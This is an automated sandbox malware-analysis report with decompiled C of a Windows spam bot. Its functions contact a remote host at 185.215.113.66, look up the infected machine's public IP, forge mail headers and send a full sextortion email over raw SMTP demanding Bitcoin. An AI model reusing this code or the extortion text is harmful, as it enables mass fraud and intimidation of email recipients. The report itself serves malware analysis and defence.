0x00ea1509
0x00ea1510
0x00ea1517
0x00ea1522
0x00ea153b
0x00ea154c
0x00ea1524
0x00ea1528
0x00ea1528
0x00ea1552
0x00ea1563
0x00ea1569
0x00ea1572
0x00ea1579
0x00ea157e
0x00ea157e
0x00ea1581
0x00ea1581
0x00ea1589
0x00ea158c
0x00ea159e
0x00ea158e
0x00ea1591
0x00ea1591
0x00ea15aa
0x00ea15b4
0x00ea15bb
0x00ea15bb
0x00ea15c5
0x00ea15cc
0x00ea15cc
0x00ea15d7
0x00ea15de
0x00ea15de
0x00ea15e6
0x00ea165d
0x00ea166b
0x00ea165f
0x00ea165f
0x00ea165f
0x00ea1678
0x00ea1684
0x00ea168d
0x00ea16ac
0x00000000
0x00ea15e8
0x00ea15ec
0x00ea15fa
0x00ea15ee
0x00ea15ee
0x00ea15ee
0x00ea1607
0x00ea1613
0x00ea161c
0x00ea163b
0x00000000
0x00ea1654

APIs

GetLocalTime.KERNEL32(?), ref: 00EA1528
FileTimeToLocalFileTime.KERNEL32(00000000,?), ref: 00EA153B
FileTimeToSystemTime.KERNEL32(?,?), ref: 00EA154C
GetTimeZoneInformation.KERNELBASE(00000000), ref: 00EA1563
wsprintfA.USER32 ref: 00EA164E
wsprintfA.USER32 ref: 00EA16C8

Strings

Jan, xrefs: 00EA14CA
May, xrefs: 00EA14E6
Wed, xrefs: 00EA14AE
PB, xrefs: 00EA168D, 00EA1693
Apr, xrefs: 00EA14DF
Aug, xrefs: 00EA14FB
Jun, xrefs: 00EA14ED
Tue, xrefs: 00EA14A7
Mar, xrefs: 00EA14D8
A, xrefs: 00EA14B5
Mon, xrefs: 00EA14A0
FZou, xrefs: 00EA1528
Dec, xrefs: 00EA1517
A, xrefs: 00EA14BC
%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u, xrefs: 00EA16BF
Feb, xrefs: 00EA14D1
Sun, xrefs: 00EA1499, 00EA16BE
Nov, xrefs: 00EA1510, 00EA164D, 00EA16C7
Oct, xrefs: 00EA1509
$B, xrefs: 00EA161C, 00EA1622
A, xrefs: 00EA163B, 00EA163F
Jul, xrefs: 00EA14F4
Sep, xrefs: 00EA1502
%u %s %u %.2u:%.2u:%.2u %s%.2u%.2u, xrefs: 00EA1645

Memory Dump Source

Source File: 00000009.00000002.892724043.0000000000EA1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000009.00000002.892708963.0000000000EA0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892732980.0000000000EA4000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892759245.0000000000EA6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892764370.0000000000EA7000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ea0000_1925824589.jbxd

Similarity

API ID: Time$File$Localwsprintf$InformationSystemZone
String ID: $B$%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u$%u %s %u %.2u:%.2u:%.2u %s%.2u%.2u$Apr$Aug$Dec$FZou$Feb$Jan$Jul$Jun$Mar$May$Mon$Nov$Oct$PB$Sep$Sun$Tue$Wed$A$A$A
API String ID: 1439763326-3090476912
Opcode ID: 156a319c00bd6ee311ad262370e794d1eb5203b34671aefa75ad7f773f4d31a0
Instruction ID: 4a59c532fa324bea2726a3da475782f12773f4804df931fea030a82a8fd31973
Opcode Fuzzy Hash: 156a319c00bd6ee311ad262370e794d1eb5203b34671aefa75ad7f773f4d31a0
Instruction Fuzzy Hash: 4A61E5F0900218DACB14CFC5D845AEDBBF5AFDE305F209149E505BF294E7B86A84CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00EA26A0 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 70
sleepfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 50%

			E00EA26A0() {
				short _v524;
				struct _SECURITY_ATTRIBUTES* _v528;
				void _v796;
				short _v1316;
				char _v1716;
				void* _v1720;
				void* _t10;
				signed char _t17;

				Sleep(0x7d0); // executed
				_t10 = CreateMutexA(0, 0, "759498"); // executed
				_v1720 = _t10;
				if(GetLastError() == 0xb7) {
					ExitProcess(0);
				}
				_v528 = 0;
				GetModuleFileNameW(0,  &_v524, 0x104);
				wsprintfW( &_v1316, L"%s:Zone.Identifier",  &_v524);
				DeleteFileW( &_v1316); // executed
				__imp__#115(0x202,  &_v1716); // executed
				_t17 = E00EA1760(); // executed
				if((_t17 & 0x000000ff) == 0) {
					ExitProcess(0);
				}
				Sleep(0x64); // executed
				wsprintfA( &_v796, "%s", E00EA1000("http://185.215.113.66/from/"));
				CreateThread(0, 0, E00EA23B0,  &_v796, 0, 0); // executed
				while(1 != 0) {
					Sleep(0xcdfe600); // executed
				}
				return 0;
			}

0x00ea26ae
0x00ea26bd
0x00ea26c3
0x00ea26d4
0x00ea26d8
0x00ea26d8
0x00ea26de
0x00ea26f6
0x00ea270f
0x00ea271f
0x00ea2731
0x00ea2737
0x00ea2741
0x00ea2745
0x00ea2745
0x00ea274d
0x00ea276d
0x00ea278a
0x00ea2790
0x00ea279e
0x00ea279e
0x00ea27ab

APIs

Sleep.KERNELBASE(000007D0), ref: 00EA26AE
CreateMutexA.KERNELBASE(00000000,00000000,759498), ref: 00EA26BD
GetLastError.KERNEL32 ref: 00EA26C9
ExitProcess.KERNEL32 ref: 00EA26D8
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00EA26F6
wsprintfW.USER32 ref: 00EA270F
DeleteFileW.KERNELBASE(?), ref: 00EA271F
WSAStartup.WS2_32(00000202,?), ref: 00EA2731
ExitProcess.KERNEL32 ref: 00EA2745

Strings

http://185.215.113.66/from/, xrefs: 00EA2753
%s:Zone.Identifier, xrefs: 00EA2703
759498, xrefs: 00EA26B4

Memory Dump Source

Source File: 00000009.00000002.892724043.0000000000EA1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000009.00000002.892708963.0000000000EA0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892732980.0000000000EA4000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892759245.0000000000EA6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892764370.0000000000EA7000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ea0000_1925824589.jbxd

Similarity

API ID: ExitFileProcess$CreateDeleteErrorLastModuleMutexNameSleepStartupwsprintf
String ID: %s:Zone.Identifier$759498$http://185.215.113.66/from/
API String ID: 3138769648-2759999156
Opcode ID: e2ebbb8d8d77cd45e090b758d43914553123b5fab1d2bbbca6c4700a3e10f858
Instruction ID: f8901c4113babd2458747d0dbbb658163b490d11fcf033c0e08ca2b6fb2ad666
Opcode Fuzzy Hash: e2ebbb8d8d77cd45e090b758d43914553123b5fab1d2bbbca6c4700a3e10f858
Instruction Fuzzy Hash: 1E21A1B1A40308AFE7105BA1DC4EF9A7775AB9E702F004455F709B90D1DBF075989E52

Uniqueness

Uniqueness Score: -1.00%

Function 00EA17D0 Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 71
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00EA17D0() {
				void _v108;
				long _v112;
				void* _v116;
				void* _v120;
				void* _t15;
				void* _t21;

				_t15 = InternetOpenA("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", 0, 0, 0, 0); // executed
				_v120 = _t15;
				if(_v120 == 0) {
					wsprintfA("[102.129.143.99]", "[0.0.0.0]");
					L8:
					InternetCloseHandle(_v120);
					return "[102.129.143.99]";
				}
				_t21 = InternetOpenUrlA(_v120, "http://icanhazip.com/", 0, 0, 0, 0); // executed
				_v116 = _t21;
				if(_v116 != 0) {
					InternetReadFile(_v116,  &_v108, 0x63,  &_v112); // executed
					if( &_v108 != 0) {
						if(E00EA18B0( &_v108, ".") == 0) {
							wsprintfA("[102.129.143.99]", "[0.0.0.0]");
						} else {
							E00EA1400( &_v108);
							wsprintfA("[102.129.143.99]", "[%s]",  &_v108);
						}
					}
				}
				InternetCloseHandle(_v116); // executed
				goto L8;
			}

0x00ea17e3
0x00ea17e9
0x00ea17f0
0x00ea1894
0x00ea189d
0x00ea18a1
0x00ea18af
0x00ea18af
0x00ea1807
0x00ea180d
0x00ea1814
0x00ea1824
0x00ea182f
0x00ea1844
0x00ea1875
0x00ea1846
0x00ea184a
0x00ea1860
0x00ea1866
0x00ea1844
0x00ea182f
0x00ea1882
0x00000000

APIs

InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36,00000000,00000000,00000000,00000000), ref: 00EA17E3
InternetOpenUrlA.WININET(00000000,http://icanhazip.com/,00000000,00000000,00000000,00000000), ref: 00EA1807
InternetReadFile.WININET(00000000,?,00000063,?), ref: 00EA1824

Part of subcall function 00EA18B0: strstr.MSVCR90 ref: 00EA18BB

wsprintfA.USER32 ref: 00EA1860
wsprintfA.USER32 ref: 00EA1875
InternetCloseHandle.WININET(00000000), ref: 00EA1882
wsprintfA.USER32 ref: 00EA1894
InternetCloseHandle.WININET(?), ref: 00EA18A1

Strings

http://icanhazip.com/, xrefs: 00EA17FE
[%s], xrefs: 00EA1856
[0.0.0.0], xrefs: 00EA186B
[0.0.0.0], xrefs: 00EA188A
[102.129.143.99], xrefs: 00EA185B, 00EA1870, 00EA188F, 00EA18A7
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36, xrefs: 00EA17DE

Memory Dump Source

Source File: 00000009.00000002.892724043.0000000000EA1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000009.00000002.892708963.0000000000EA0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892732980.0000000000EA4000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892759245.0000000000EA6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892764370.0000000000EA7000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ea0000_1925824589.jbxd

Similarity

API ID: Internet$wsprintf$CloseHandleOpen$FileReadstrstr
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36$[%s]$[0.0.0.0]$[0.0.0.0]$[102.129.143.99]$http://icanhazip.com/
API String ID: 2936383407-2470265312
Opcode ID: 45333213750d6ae7f10844dbfa53d76975d22dbc6ad71b34babb55eac0b39af8
Instruction ID: bcc31ac4a236a4154bfe91d9ad4755da4a8cbc93ae8fc960dc9271cbf4aff04c
Opcode Fuzzy Hash: 45333213750d6ae7f10844dbfa53d76975d22dbc6ad71b34babb55eac0b39af8
Instruction Fuzzy Hash: E8218CB0A40308ABDB249BE59C4AF9D7A34ABAFB05F241118B505BB1C1E7B47548CA51

Uniqueness

Uniqueness Score: -1.00%

Function 00EA1CAB Relevance: 115.9, APIs: 36, Strings: 30, Instructions: 402
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E00EA1CAB(void* __eflags) {
				signed int _t171;
				signed int _t173;
				signed int _t175;
				signed int _t177;
				void* _t183;
				void* _t184;
				void* _t189;
				void* _t193;
				void* _t196;
				void* _t200;
				void* _t203;
				void* _t205;
				void* _t210;
				void* _t211;
				void* _t212;
				void* _t229;
				void* _t244;
				intOrPtr _t248;
				void* _t249;
				void* _t329;
				void* _t331;
				void* _t338;
				void* _t342;
				void* _t344;
				void* _t346;
				void* _t348;
				void* _t350;
				void* _t354;
				void* _t355;
				void* _t356;
				void* _t368;
				void* _t380;

				L0:
				while(1) {
					L0:
					wsprintfA(_t329 - 0x508, "%s.com", E00EA1320(_t329 - 0x61c, 5, _t329 - 0x61c));
					E00EA1490(0, _t329 - 0x710, 1); // executed
					Sleep(0x7d0); // executed
					E00EA1490(0, _t329 - 0x690, 0); // executed
					_t171 = rand();
					asm("cdq");
					_t173 = rand();
					asm("cdq");
					_t175 = rand();
					asm("cdq");
					_t177 = rand();
					asm("cdq");
					 *((intOrPtr*)(_t329 - 0x714)) = wsprintfA(_t329 - 0x490, "Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s\r\n", E00EA1390(0xd2, 7, _t329 - 0x6a8), _t177 % 0xd2 + 1, _t175 % 0xfe + 1, _t173 % 0xfe + 1, _t171 % 0xfe + 1, _t329 - 0x508, _t329 - 0x690);
					_t183 = E00EA1120( *((intOrPtr*)(_t329 - 0x1c)), _t329 - 0x490,  *((intOrPtr*)(_t329 - 0x714))); // executed
					_t338 = _t331 + 0x64;
					if(_t183 != 0) {
						_t184 = E00EA1320(_t329 - 0x710, 3, _t329 - 0x628);
						 *((intOrPtr*)(_t329 - 0x714)) = wsprintfA(_t329 - 0x490, "Received: (qmail %s invoked by uid %s); %s\r\n", E00EA1320(_t329 - 0x710, 5, _t329 - 0x69c), _t184, _t329 - 0x710);
						_t189 = E00EA1120( *((intOrPtr*)(_t329 - 0x1c)), _t329 - 0x490,  *((intOrPtr*)(_t329 - 0x714))); // executed
						_t342 = _t338 + 0x30;
						if(_t189 != 0) {
							 *((intOrPtr*)(_t329 - 0x714)) = wsprintfA(_t329 - 0x490, "From: %s\r\n",  *((intOrPtr*)(_t329 + 8)));
							_t193 = E00EA1120( *((intOrPtr*)(_t329 - 0x1c)), _t329 - 0x490,  *((intOrPtr*)(_t329 - 0x714))); // executed
							_t344 = _t342 + 0x18;
							if(_t193 != 0) {
								 *((intOrPtr*)(_t329 - 0x714)) = wsprintfA(_t329 - 0x490, "To: %s\r\n",  *((intOrPtr*)(_t329 + 8)));
								_t196 = E00EA1120( *((intOrPtr*)(_t329 - 0x1c)), _t329 - 0x490,  *((intOrPtr*)(_t329 - 0x714)));
								_t346 = _t344 + 0x18;
								if(_t196 != 0) {
									 *((intOrPtr*)(_t329 - 0x714)) = wsprintfA(_t329 - 0x490, "Subject: %s\r\n", "I RECORDED YOU!");
									_t200 = E00EA1120( *((intOrPtr*)(_t329 - 0x1c)), _t329 - 0x490,  *((intOrPtr*)(_t329 - 0x714))); // executed
									_t348 = _t346 + 0x18;
									if(_t200 != 0) {
										 *((intOrPtr*)(_t329 - 0x714)) = wsprintfA(_t329 - 0x490, "Date: %s\r\n", _t329 - 0x690);
										_t203 = E00EA1120( *((intOrPtr*)(_t329 - 0x1c)), _t329 - 0x490,  *((intOrPtr*)(_t329 - 0x714))); // executed
										_t350 = _t348 + 0x18;
										if(_t203 != 0) {
											_t205 = E00EA1320(_t329 - 0x628, 6, _t329 - 0x628);
											 *((intOrPtr*)(_t329 - 0x714)) = wsprintfA(_t329 - 0x490, "Message-ID: <%s.%s@%s>\r\n", E00EA1320(_t329 - 0x628, 6, _t329 - 0x69c), _t205, _t329 - 0x508);
											_t210 = E00EA1120( *((intOrPtr*)(_t329 - 0x1c)), _t329 - 0x490,  *((intOrPtr*)(_t329 - 0x714))); // executed
											_t354 = _t350 + 0x30;
											if(_t210 != 0) {
												_t211 = E00EA1120( *((intOrPtr*)(_t329 - 0x1c)), "Mime-Version: 1.0\r\n", 0xffffffff);
												_t355 = _t354 + 0xc;
												if(_t211 != 0) {
													_t212 = E00EA1120( *((intOrPtr*)(_t329 - 0x1c)), "Content-type: text/plain;\r\n\r\n", 0xffffffff); // executed
													_t356 = _t355 + 0xc;
													if(_t212 != 0) {
														memset(_t329 - 0x610, 0, 0x104);
														strcpy(_t329 - 0x610, "Hello there!\r\n\r\n");
														strcat(_t329 - 0x610, "Unfortunately, there are some bad news for you.\r\n\r\n");
														strcat(_t329 - 0x610, "Some time ago your device was infected with my private trojan, R.A.T (Remote Administration Tool), if you want to find out more about it simply use Google.\r\n\r\n");
														strcat(_t329 - 0x610, "My trojan allows me to access your accounts, your camera and microphone.\r\n\r\n");
														strcat(_t329 - 0x610, "Check the sender of this email, I have sent it from your email account.\r\n\r\n");
														strcat(_t329 - 0x610, "You truly enjoy checking out porn websites and watching dirty videos, while having a lot of kinky fun.\r\n\r\n");
														strcat(_t329 - 0x610, "I RECORDED YOU (through your camera) SATISFYING YOURSELF!\r\n\r\n");
														strcat(_t329 - 0x610, "If you still doubt my serious intentions, it only takes couple mouse clicks to share the video of you with your friends, relatives, all email contacts and on social networks.\r\n\r\n");
														strcat(_t329 - 0x610, "All you need is $1400 USD in Bitcoin (BTC) transfer to my account (Bitcoin equivalent based on exchange rate during your transfer).\r\n\r\n");
														strcat(_t329 - 0x610, "After the transaction is successful, I will proceed to delete everything without delay.\r\n\r\n");
														_t229 = E00EA1120( *((intOrPtr*)(_t329 - 0x1c)), _t329 - 0x610, 0xffffffff); // executed
														_t368 = _t356 + 0x68;
														if(_t229 != 0) {
															memset(_t329 - 0x610, 0, 0x104);
															strcpy(_t329 - 0x610, "Afterwards, we can pretend that we have never met before.\r\n\r\n");
															strcat(_t329 - 0x610, "In addition, I assure you that all the harmful software will be deleted from your device.\r\n\r\n");
															strcat(_t329 - 0x610, "Be sure, I keep my promises!\r\n\r\n");
															strcat(_t329 - 0x610, "If you are unaware how to buy and send Bitcoin (BTC) - Google: Where to buy Bitcoin (BTC), to send and receive Bitcoin (BTC), you can register your wallet for example here: www.blockchain.com\r\n\r\n");
															strcat(_t329 - 0x610, "My Bitcoin (BTC) address is: 1EJJoUCykyZT3FtxRGSpuUsiBxCiHQ4wqX\r\n\r\n");
															strcat(_t329 - 0x610, "Yes, that\'s how the address looks like, copy and paste my address, it\'s (cAsE-sEnSEtiVE).\r\n\r\n");
															strcat(_t329 - 0x610, "You are given not more than 48 hours after you have opened this email (2 days to be precise).\r\n\r\n");
															strcat(_t329 - 0x610, "Everything will be carried out based on fairness!\r\n\r\n");
															strcat(_t329 - 0x610, "An advice from me - regularly change all your passwords to your accounts and update your device with newest security patches.\r\n.\r\n");
															_t244 = E00EA1120( *((intOrPtr*)(_t329 - 0x1c)), _t329 - 0x610, 0xffffffff);
															_t368 = _t368 + 0x60;
															if(_t244 != 0) {
																 *(_t329 - 0x20) = 7;
															} else {
																 *(_t329 - 0x20) = 0;
															}
														} else {
															 *(_t329 - 0x20) = 0;
														}
													} else {
														 *(_t329 - 0x20) = 0;
													}
												} else {
													 *(_t329 - 0x20) = 0;
												}
											} else {
												 *(_t329 - 0x20) = 0;
											}
										} else {
											 *(_t329 - 0x20) = 0;
										}
									} else {
										 *(_t329 - 0x20) = 0;
									}
								} else {
									 *(_t329 - 0x20) = 0;
								}
							} else {
								 *(_t329 - 0x20) = 0;
							}
						} else {
							 *(_t329 - 0x20) = 0;
						}
					} else {
						 *(__ebp - 0x20) = 0;
					}
					L48:
					while( *(_t329 - 0x20) != 0 &&  *(_t329 - 0x20) != 8) {
						_t248 = E00EA1160( *((intOrPtr*)(_t329 - 0x1c)), _t329 - 0x490, 0x400); // executed
						_t380 = _t368 + 0xc;
						 *((intOrPtr*)(_t329 - 0x90)) = _t248;
						if( *((intOrPtr*)(_t329 - 0x90)) != 0) {
							L5:
							 *((char*)(_t329 +  *((intOrPtr*)(_t329 - 0x90)) - 0x490)) = 0;
							_t249 = E00EA11C0(_t329 - 0x490);
							_t368 = _t380 + 4;
							if(_t249 != 0) {
								L7:
								 *(_t329 - 0x718) =  *(_t329 - 0x20);
								 *(_t329 - 0x718) =  *(_t329 - 0x718) - 1;
								if( *(_t329 - 0x718) > 6) {
									continue;
								}
								L8:
								switch( *((intOrPtr*)( *(_t329 - 0x718) * 4 +  &M00EA223C))) {
									case 0:
										L9:
										_push("ESMTP");
										if(StrStrA(_t329 - 0x490) == 0) {
											_t253 = wsprintfA(_t329 - 0x490, "HELO %s\r\n", "[102.129.143.99]");
											_t381 = _t368 + 0xc;
											 *(_t329 - 0x494) = _t253;
										} else {
											_t256 = wsprintfA(_t329 - 0x490, "EHLO %s\r\n", "[102.129.143.99]");
											_t381 = _t368 + 0xc;
											 *(_t329 - 0x494) = _t256;
										}
										_t255 = E00EA1120( *((intOrPtr*)(_t329 - 0x1c)), _t329 - 0x490,  *(_t329 - 0x494)); // executed
										_t368 = _t381 + 0xc;
										if(_t255 != 0) {
											 *(_t329 - 0x20) = 3;
										} else {
											 *(_t329 - 0x20) = 0;
										}
										goto L48;
									case 1:
										goto L48;
									case 2:
										L16:
										__eax =  *(__ebp + 8);
										__ecx = __ebp - 0x88;
										__eax = wsprintfA(__ebp - 0x88, "<%s>",  *(__ebp + 8));
										__esp = __esp + 0xc;
										__eax = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "MAIL FROM: %s\r\n", __ebp - 0x88);
										__esp = __esp + 0xc;
										 *(__ebp - 0x498) = __eax;
										__ecx =  *(__ebp - 0x498);
										__eax =  *(__ebp - 0x1c);
										__eax = E00EA1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x498)); // executed
										if(__eax != 0) {
											 *(__ebp - 0x20) = 4;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 3:
										L19:
										__ecx =  *(__ebp + 8);
										__eax = wsprintfA(__ebp - 0x490, "RCPT TO: <%s>\r\n",  *(__ebp + 8));
										__esp = __esp + 0xc;
										 *(__ebp - 0x49c) = __eax;
										__eax =  *(__ebp - 0x49c);
										__ecx = __ebp - 0x490;
										__eax = E00EA1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x49c)); // executed
										if(__eax != 0) {
											 *(__ebp - 0x20) = 5;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 4:
										L22:
										__eax =  *(__ebp - 0x1c);
										__eax = E00EA1120( *(__ebp - 0x1c), "DATA\r\n", 0xffffffff); // executed
										if(__eax != 0) {
											 *(__ebp - 0x20) = 6;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 5:
										goto L0;
									case 6:
										L47:
										__ecx =  *(__ebp - 0x1c);
										__eax = E00EA1120( *(__ebp - 0x1c), "QUIT", 0xffffffff); // executed
										 *(__ebp - 0x20) = 8;
										goto L48;
								}
							} else {
								break;
							}
						} else {
							break;
						}
					}
					L49:
					 *(_t329 - 8) = 0 |  *(_t329 - 0x20) == 0x00000008;
					__imp__#22( *((intOrPtr*)(_t329 - 0x1c)), 2); // executed
					__imp__#3( *((intOrPtr*)(_t329 - 0x1c)));
					return  *(_t329 - 8);
				}
			}

0x00ea1cab
0x00ea1cab
0x00ea1cab
0x00ea1cc9
0x00ea1cdd
0x00ea1cea
0x00ea1cfb
0x00ea1d11
0x00ea1d16
0x00ea1d22
0x00ea1d27
0x00ea1d33
0x00ea1d38
0x00ea1d44
0x00ea1d49
0x00ea1d7c
0x00ea1d94
0x00ea1d99
0x00ea1d9e
0x00ea1dbc
0x00ea1dec
0x00ea1e04
0x00ea1e09
0x00ea1e0e
0x00ea1e35
0x00ea1e4d
0x00ea1e52
0x00ea1e57
0x00ea1e7e
0x00ea1e96
0x00ea1e9b
0x00ea1ea0
0x00ea1ec8
0x00ea1ee0
0x00ea1ee5
0x00ea1eea
0x00ea1f14
0x00ea1f2c
0x00ea1f31
0x00ea1f36
0x00ea1f54
0x00ea1f84
0x00ea1f9c
0x00ea1fa1
0x00ea1fa6
0x00ea1fbf
0x00ea1fc4
0x00ea1fc9
0x00ea1fe2
0x00ea1fe7
0x00ea1fec
0x00ea2008
0x00ea201c
0x00ea2030
0x00ea2044
0x00ea2058
0x00ea206c
0x00ea2080
0x00ea2094
0x00ea20a8
0x00ea20bc
0x00ea20d0
0x00ea20e5
0x00ea20ea
0x00ea20ef
0x00ea210b
0x00ea211f
0x00ea2133
0x00ea2147
0x00ea215b
0x00ea216f
0x00ea2183
0x00ea2197
0x00ea21ab
0x00ea21bf
0x00ea21d4
0x00ea21d9
0x00ea21de
0x00ea21e9
0x00ea21e0
0x00ea21e0
0x00ea21e0
0x00ea20f1
0x00ea20f1
0x00ea20f1
0x00ea1fee
0x00ea1fee
0x00ea1fee
0x00ea1fcb
0x00ea1fcb
0x00ea1fcb
0x00ea1fa8
0x00ea1fa8
0x00ea1fa8
0x00ea1f38
0x00ea1f38
0x00ea1f38
0x00ea1eec
0x00ea1eec
0x00ea1eec
0x00ea1ea2
0x00ea1ea2
0x00ea1ea2
0x00ea1e59
0x00ea1e59
0x00ea1e59
0x00ea1e10
0x00ea1e10
0x00ea1e10
0x00ea1da0
0x00ea1da0
0x00ea1da0
0x00000000
0x00ea220c
0x00ea1ab4
0x00ea1ab9
0x00ea1abc
0x00ea1ac9
0x00ea1ad0
0x00ea1ad6
0x00ea1ae5
0x00ea1aea
0x00ea1aef
0x00ea1af6
0x00ea1af9
0x00ea1b08
0x00ea1b15
0x00000000
0x00000000
0x00ea1b1b
0x00ea1b21
0x00000000
0x00ea1b28
0x00ea1b28
0x00ea1b3c
0x00ea1b71
0x00ea1b77
0x00ea1b7a
0x00ea1b3e
0x00ea1b4f
0x00ea1b55
0x00ea1b58
0x00ea1b58
0x00ea1b92
0x00ea1b97
0x00ea1b9c
0x00ea1baa
0x00ea1b9e
0x00ea1b9e
0x00ea1b9e
0x00000000
0x00000000
0x00000000
0x00000000
0x00ea1bb6
0x00ea1bb6
0x00ea1bbf
0x00ea1bc6
0x00ea1bcc
0x00ea1bdb
0x00ea1be2
0x00ea1be8
0x00ea1beb
0x00ea1bf1
0x00ea1bff
0x00ea1c03
0x00ea1c0d
0x00ea1c1b
0x00ea1c0f
0x00ea1c0f
0x00ea1c0f
0x00000000
0x00000000
0x00ea1c27
0x00ea1c27
0x00ea1c37
0x00ea1c3d
0x00ea1c40
0x00ea1c46
0x00ea1c4d
0x00ea1c58
0x00ea1c62
0x00ea1c70
0x00ea1c64
0x00ea1c64
0x00ea1c64
0x00000000
0x00000000
0x00ea1c7c
0x00ea1c83
0x00ea1c87
0x00ea1c91
0x00ea1c9f
0x00ea1c93
0x00ea1c93
0x00ea1c93
0x00000000
0x00000000
0x00000000
0x00000000
0x00ea21f2
0x00ea21f9
0x00ea21fd
0x00ea2205
0x00000000
0x00000000
0x00ea1af1
0x00000000
0x00ea1af1
0x00ea1acb
0x00000000
0x00ea1acb
0x00ea1ac9
0x00ea2211
0x00ea221a
0x00ea2223
0x00ea222d
0x00ea2239
0x00ea2239

APIs

Part of subcall function 00EA1320: GetTickCount.KERNEL32 ref: 00EA132A
Part of subcall function 00EA1320: srand.MSVCR90 ref: 00EA1331
Part of subcall function 00EA1320: rand.MSVCR90 ref: 00EA1353
Part of subcall function 00EA1320: sprintf.MSVCR90 ref: 00EA136E

wsprintfA.USER32 ref: 00EA1CC9

Part of subcall function 00EA1490: GetLocalTime.KERNEL32(?), ref: 00EA1528
Part of subcall function 00EA1490: GetTimeZoneInformation.KERNELBASE(00000000), ref: 00EA1563
Part of subcall function 00EA1490: wsprintfA.USER32 ref: 00EA164E

Sleep.KERNELBASE(000007D0), ref: 00EA1CEA

Part of subcall function 00EA1490: FileTimeToLocalFileTime.KERNEL32(00000000,?), ref: 00EA153B
Part of subcall function 00EA1490: FileTimeToSystemTime.KERNEL32(?,?), ref: 00EA154C

rand.MSVCR90 ref: 00EA1D11
rand.MSVCR90 ref: 00EA1D22
rand.MSVCR90 ref: 00EA1D33
rand.MSVCR90 ref: 00EA1D44

Part of subcall function 00EA1390: rand.MSVCR90 ref: 00EA13A0
Part of subcall function 00EA1390: rand.MSVCR90 ref: 00EA13CD

wsprintfA.USER32 ref: 00EA1D73

Part of subcall function 00EA1120: lstrlenA.KERNEL32(?), ref: 00EA112D
Part of subcall function 00EA1120: send.WS2_32(?,?,000000FF,00000000), ref: 00EA1144

wsprintfA.USER32 ref: 00EA1DE3
shutdown.WS2_32(000000FF,00000002), ref: 00EA2223
closesocket.WS2_32(000000FF), ref: 00EA222D

Strings

If you are unaware how to buy and send Bitcoin (BTC) - Google: Where to buy Bitcoin (BTC), to send and receive Bitcoin (BTC), you can register your wallet for example here: www.blockchain.com, xrefs: 00EA214F
Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s, xrefs: 00EA1D67
From: %s, xrefs: 00EA1E20
Mime-Version: 1.0, xrefs: 00EA1FB6
Hello there!, xrefs: 00EA2010
My trojan allows me to access your accounts, your camera and microphone., xrefs: 00EA204C
%s.com, xrefs: 00EA1CBD
You are given not more than 48 hours after you have opened this email (2 days to be precise)., xrefs: 00EA218B
Content-type: text/plain;, xrefs: 00EA1FD9
Afterwards, we can pretend that we have never met before., xrefs: 00EA2113
In addition, I assure you that all the harmful software will be deleted from your device., xrefs: 00EA2127
Received: (qmail %s invoked by uid %s); %s, xrefs: 00EA1DD7
Unfortunately, there are some bad news for you., xrefs: 00EA2024
All you need is $1400 USD in Bitcoin (BTC) transfer to my account (Bitcoin equivalent based on exchange rate during your transfer)., xrefs: 00EA20B0
Some time ago your device was infected with my private trojan, R.A.T (Remote Administration Tool), if you want to find out more about it simply use Google., xrefs: 00EA2038
To: %s, xrefs: 00EA1E69
Yes, that's how the address looks like, copy and paste my address, it's (cAsE-sEnSEtiVE)., xrefs: 00EA2177
If you still doubt my serious intentions, it only takes couple mouse clicks to share the video of you with your friends, relatives, all email contacts and on social networks., xrefs: 00EA209C
Subject: %s, xrefs: 00EA1EB3
